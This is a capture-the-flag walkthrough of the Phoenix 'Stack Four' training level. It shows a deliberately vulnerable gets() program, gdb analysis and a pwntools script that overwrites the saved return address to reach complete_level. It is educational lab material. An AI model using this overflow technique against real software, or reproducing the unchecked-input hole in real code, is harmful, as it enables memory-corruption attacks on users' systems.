Phoenix - Stack Four

1 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

void start_level() {
  char buffer[64];
  void *ret;

  gets(buffer);

  ret = __builtin_return_address(0);
  printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

The goal of this level is to overwrite the return address of start_level function to return to complete_level function instead of main.

First we get the address of complete_level function:

$ gdb -q /opt/phoenix/amd64/stack-four
Reading symbols from /opt/phoenix/amd64/stack-four...(no debugging symbols found)...done.

gef➤  print complete_level 
$1 = {<text variable, no debug info>} 0x40061d <complete_level>

So we must overwrite RIP with the address 0x40061d.

gef➤  disassemble start_level 
Dump of assembler code for function start_level:
   0x0000000000400635 <+0>:	push   rbp
   0x0000000000400636 <+1>:	mov    rbp,rsp
   0x0000000000400639 <+4>:	sub    rsp,0x50
   0x000000000040063d <+8>:	lea    rax,[rbp-0x50]
   0x0000000000400641 <+12>:	mov    rdi,rax
   0x0000000000400644 <+15>:	call   0x400470 <gets@plt>
   0x0000000000400649 <+20>:	mov    rax,QWORD PTR [rbp+0x8]
   .....

So to overwrite RIP we must enter (0x50 junk + 8 bytes for RBP + address of complete_level).

gef➤  b *0x0000000000400649
Breakpoint 1 at 0x400649

gef➤  r <<< $(python solve.py)
Starting program: /opt/phoenix/amd64/stack-four <<< $(python solve.py)
Welcome to phoenix/stack-four, brought to you by https://exploit.education
Breakpoint 1, 0x0000000000400649 in start_level ()
......

gef➤  info registers rbp
rbp            0x7fffffffe630      0x7fffffffe630

gef➤  x/12xg $rsp
0x7fffffffe5e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe5f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe600:	0x4141414141414141	0x4141414141414141
0x7fffffffe610:	0x4141414141414141	0x4141414141414141
0x7fffffffe620:	0x4141414141414141	0x4141414141414141
0x7fffffffe630:	0x4242424242424242	0x000000000040061d

Here we can see that RBP was overwritten to 0x4242424242424242 and after it is the value of RIP 0x000000000040061d which is the address of complete_level function.

Solution:

# solve.py

from pwn import *

buff = ""
buff += 'A'*80			# junk
buff += 'BBBBBBBB'		# RBP value
buff += p64(0x40061d)		# RIP value

print(buff)
$ python solve.py | /opt/phoenix/amd64/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!